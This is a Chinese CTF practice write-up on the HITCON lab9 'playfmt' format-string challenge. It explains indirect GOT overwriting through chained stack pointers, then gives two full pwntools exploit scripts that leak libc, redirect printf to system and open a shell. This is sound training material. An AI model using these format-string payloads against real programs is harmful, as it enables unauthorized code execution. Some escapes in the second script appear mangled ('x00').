Pwn-10月31-Hitcon-五

Posted 2021-01-16 yof3ng

目录

• Pwn-十月31-Hitcon-五
  • lab9-playfmt
    • 查看文件信息并且检查保护措施
    • 逻辑分析
    • 构造EXP

Pwn-十月31-Hitcon-五

鸽了几天之后，继续练习Hitcon????。

lab9-playfmt

? ? ? ? 同样，这一题也是格式化字符串漏洞，但是这题的格式化字符串不在栈上，而是在全局变量（.bss)段？？？什么情况??。

? ? ? ? 所以这题我们不能直接通过控制栈上变量来修改Got表，那意思是什么呢？就可以通过间接的方式来修改Got表内容咯。

查看文件信息并且检查保护措施

checksec playfmt:

逻辑分析

? ? ? ? 简单运行一下程序可以看到，这次的printf函数buf不在栈上，而是在bss段。

IDA看一看：

的确是格式化字符串的漏洞，很明显咯。

用gdb调试，并且输入4个a，可以看到buf不在栈上。

引用大佬的话：通过修改栈中存在的指针，将其指向栈上的变量，可以间接地实现写got，这种方式是一种常见的套路。

c/c++中的%n是什么意思呢，它是输入格式化控制字符，在这题中可以用于修改栈中变量的值。

我们可以在printf函数处下断点，查看栈中变量情况：

? ? ? ? 可以看到偏移量为6的地方是ebp，而ebp指向了另外一个地址，即偏移量为10的地方，然后又指向偏移量为15的位置。这里我们其实可以走一步捷径，通过获得偏移量为8的地方这个函数地址，leak出libc基地址。

? ? ? ? 正是因为程序是循环运行，所以给了我们足够多次数来间接覆写GOT表。

解题逻辑（来自23r3f ）：

ebp_1 <==>printf函数栈中偏移量为6, 即$ebp
ebp_2 <==>printf函数栈中偏移量为10, 即$ebp的值地址
fmt_7 <==>printf函数栈中偏移量为7
fmt_11 <==>printf函数栈中偏移量为11

? ? ? ? ebp1的内容是指向ebp2的地址的指针，而ebp2的内容又是指向其他地址的指针，因此如果我们用%n对ebp1进行操作，那么实际上会修改ebp2的值，如果此时再把ebp2的内容改成一个指向fmt7的指针，然后在对ebp2进行%n操作，那么就可以改变fmt7的内容，从而实现了间接修改某个地址的内容，试想一下，我们把fmt7的内容又改成printf的got表地址，那么fmt7就指向了printf_got的地址，如果用%s操作，就可以把printf_got的内容打印出来，从而得到了printf函数的真正地址，到了这里，我们就可以通过printf函数泄漏出system的真正地址了。

具体思路：

1.通过ebp_1使ebp_2指向fmt_7
2.通过ebp_2将fmt_7处的内容覆盖成printf_got
3.通过ebp_1使ebp_2指向fmt_11
4.通过ebp_2将fmt_11处的内容修改成printf_got+2
5.通过fmt_7将printf_got地址泄露出来
6.计算出system函数的地址 ,将system函数地址写入printf在got表的地址
具体做法是将 system函数地址的前两个字节写入fmt_7,后两个字节写入 fmt_11
7.执行printf函数相当于执行system函数
8.输入"/bin/sh"字符串，让system函数从栈中取参数getshell

接下来直接通过理解各位大佬exp的方式，来深入理解这一道题（太菜了我）。

构造EXP

三份大佬EXP各有不同技巧：分别来自M4x，23r3f，veritas501

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#作者：23R3F
from pwn import *
context.log_level = 'debug'
p = process('./playfmt')
elf = ELF('./playfmt')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

printf_got = elf.got['printf']
system_libc = libc.symbols['system']  
printf_libc = libc.symbols['printf']  

p.recv()
log.info("**********leak printf_got************") 
payload = '%6$x'
p.sendline(payload)


ebp2 = int(p.recv(),16)
ebp1 = ebp2 - 0x10
fmt_7 = ebp2 -0x0c
fmt_11 = ebp2 + 0x04
log.info("printf_got-->p[%s]"%hex(printf_got))
log.info("ebp_1-->p[%s]"%hex(ebp1))
log.info("ebp_2-->p[%s]"%hex(ebp2))
log.info("fmt_7-->p[%s]"%hex(fmt_7))
log.info("fmt_11-->p[%s]"%hex(fmt_11))

payload = '%' + str(fmt_7 & 0xffff) + 'c%6$hn'
#ebp2 = fmt_7
p.sendline(payload)
p.recv()

#由于ebp2已经指向了fmt_7，所以修改偏移量10处的ebp2即修改fmt_7
payload = '%' + str(printf_got & 0xffff) + 'c%10$hn'
#fmt_7 = prinf_got
p.sendline(payload)
p.recv()

while True:
    p.send("23r3f")
    sleep(0.1)
    data = p.recv()
    if data.find("23r3f") != -1:
        break
'''
这个循环用于保证所有的字节都被输出，因为recv（）一次最多只能接收0x1000
个字节，所以要进行多次recv（）才能保证全部字节都输出以便进行下面的操作
需要注意的是，要构造一个字符串“23r3f”来作标志，返回的大量字符串中如果
包含了这个字符串那么说明之前构造的%n写入已经完成
''' 

        
payload = '%' + str(fmt_11 & 0xffff) + 'c%6$hn'
#ebp2 = fmt_11
p.sendline(payload)
p.recv()

payload = '%' + str((printf_got+2) & 0xffff) + 'c%10$hn'
#fmt_11 = prinf_got + 2
p.sendline(payload)
p.recv()    

while True:
    p.send("23r3f")
    sleep(0.1)
    data = p.recv()
    if data.find("23r3f") != -1:
        break
    
log.info("******leaking the print_got_add*********")
payload = 'aaaa%7$s'
p.sendline(payload)
p.recvuntil("aaaa")
printf_addr = u32(p.recv(4))
log.info("print_got_add is:[%s]"%hex(printf_addr))

system_addr = printf_addr - printf_libc + system_libc
log.info("system_add is:[%s]"%hex(system_addr))
#pause()

payload = '%' +str(system_addr &0xffff) +'c%7$hn'
payload += '%' +str((system_addr>>16) - (system_addr &0xffff)) +'c%11$hn'
'''
这里需要注意的是，我们把system的地址的前后两个字节分别写到fmt-7和fmt-11中，
在写入后两个字节的时候要注意减去前面输入的(system_addr &0xffff))，这是因为
%n写入操作是算累积输入的字符个数
'''
p.sendline(payload)
p.recv()

while True:
    p.send("23r3f")
    sleep(0.1)
    data = p.recv()
    if data.find("23r3f") != -1:
        break

p.sendline("/bin/sh")
'''
这个时候输入参数到栈中，本来下一步程序会调用printf函数，但是此时printf函数的got表
已经被修改为system的地址了，此时就会执行system并且从栈中取bin/sh参数
于是就这样getshell
'''
p.interactive()

#coding = utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

p_printf = 0x0804A010


libc = ELF('libc.so')
cn = process('./playfmt')

cn.recv()

pay = '%6$x'
cn.sendline(pay)#

p_ebp2 = int(cn.recv(),16)#10
p_7 = p_ebp2-0xc#7
p_11 = p_ebp2+4#11
p_ebp1 = p_ebp2-0x10#6

pay = "%"+str(p_7&0xffff)+"c%6$hnx00"
cn.sendline(pay)#set p_ebp2->p_7
cn.recv()

pay = "%"+str(p_printf&0xffff)+"c%10$hnx00"
cn.sendline(pay)#set p_7->p_printf
cn.recv()

while 1:
    cn.send("herex00")
    sleep(0.3)
    data = cn.recv()
    if data.find("here") != -1:
        break

pay = "%"+str(p_11&0xffff)+"c%6$hnx00"
cn.sendline(pay)#set p_ebp2->p_11
cn.recv()

pay = "%"+str((p_printf+2)&0xffff)+"c%10$hnx00"
cn.sendline(pay)#set p_11->p_printf+2
cn.recv()

cn.sendline('herex00')

while 1:
    cn.send("herex00")
    sleep(0.3)
    data = cn.recv()
    if data.find("here") != -1:
        break

pay = "aaaa%7$sx00"
cn.sendline(pay)
cn.recvuntil('aaaa')
printf = u32(cn.recv()[:4])
print hex(printf)#leak printf

system = printf-libc.symbols['printf']+libc.symbols['system']
print hex(system)

pay = "%"+str(system&0xffff)+"c%7$hn" 
pay += "%"+str((system>>16) - (system&0xffff))+"c%11$hnx00"
cn.sendline(pay)#hijack printf->system
cn.recv()

while 1:
    cn.send("herex00")
    sleep(0.3)
    data = cn.recv()
    if data.find("here") != -1:
        break

cn.sendline('/bin/shx00')
cn.interactive()

有点懵，好好消化。

原来各处的&ffff，不单单是为了匹配后面的%$hn解引用写两个字节，而是，这种写的方式并不是覆盖，而是将所指定的内存空间的前两个字节换成我们要写的值。

如"%"+str(p_11&0xffff)+"c%6$hnx00"，则表示将向栈空间偏移量6的位置的前两个字节写成p_11&0xffff，即原数据若为0x12345678，经过操作后变为了0x12340000+p_11&0xffff。